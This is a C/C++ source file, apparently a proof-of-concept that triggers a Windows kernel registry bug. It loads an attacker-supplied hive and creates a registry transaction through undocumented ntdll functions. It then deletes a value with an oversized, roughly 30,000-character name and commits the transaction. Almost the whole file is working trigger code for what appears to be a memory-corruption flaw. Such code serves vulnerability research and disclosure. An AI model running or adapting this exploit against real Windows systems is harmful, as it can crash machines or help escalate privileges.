#include #include #include #pragma comment(lib, "ntdll") extern "C" { NTSTATUS NTAPI NtCreateRegistryTransaction( PHANDLE, DWORD, POBJECT_ATTRIBUTES, DWORD ); NTSTATUS NTAPI NtCommitRegistryTransaction( HANDLE, DWORD ); } // extern "C" int main(int argc, char** argv) { if (argc != 2) { printf("Usage: %s \n", argv[0]); return 1; } // // Load the input registry hive. // HKEY hkey; LONG st = RegLoadAppKeyA(argv[1], &hkey, KEY_ALL_ACCESS, 0, 0); if (st != ERROR_SUCCESS) { printf("RegLoadAppKeyA failed with error %d\n", st); return 1; } printf("Hive successfully loaded\n"); // // Create a transaction object. // HANDLE hTransaction; NTSTATUS Status = NtCreateRegistryTransaction(&hTransaction, TRANSACTION_ALL_ACCESS, NULL, 0); if (!NT_SUCCESS(Status)) { printf("NtCreateRegistryTransaction failed with error %.8x\n", Status); return 1; } printf("Transaction successfully created\n"); // // Open an existing subkey in the app hive in a transacted manner. // HKEY hsubkey; st = RegOpenKeyTransactedW(hkey, L"SubKey", 0, KEY_ALL_ACCESS, &hsubkey, hTransaction, NULL); if (st != ERROR_SUCCESS) { printf("RegOpenKeyTransactedW failed with error %d\n", st); return 1; } printf("Subkey successfully opened\n"); // // Initialize the long value name. // CONST SIZE_T kValueNameLength = 0xF000 / 2; static WCHAR wchValueName[kValueNameLength + 1]; DWORD dwValue = 0; for (SIZE_T i = 0; i < kValueNameLength; i++) { wchValueName[i] = L'A'; } wchValueName[kValueNameLength] = L'\0'; // // Delete the value. // st = RegDeleteValueW(hsubkey, wchValueName); if (st != ERROR_SUCCESS) { printf("RegDeleteValueW failed with error %d\n", st); return 1; } printf("Value successfully deleted\n"); // // Commit the transaction. // Status = NtCommitRegistryTransaction(hTransaction, 0); if (!NT_SUCCESS(Status)) { printf("NtCommitRegistryTransaction failed with error %.8x\n", Status); return 1; } printf("Transaction successfully committed\n"); RegCloseKey(hsubkey); RegCloseKey(hkey); return 0; }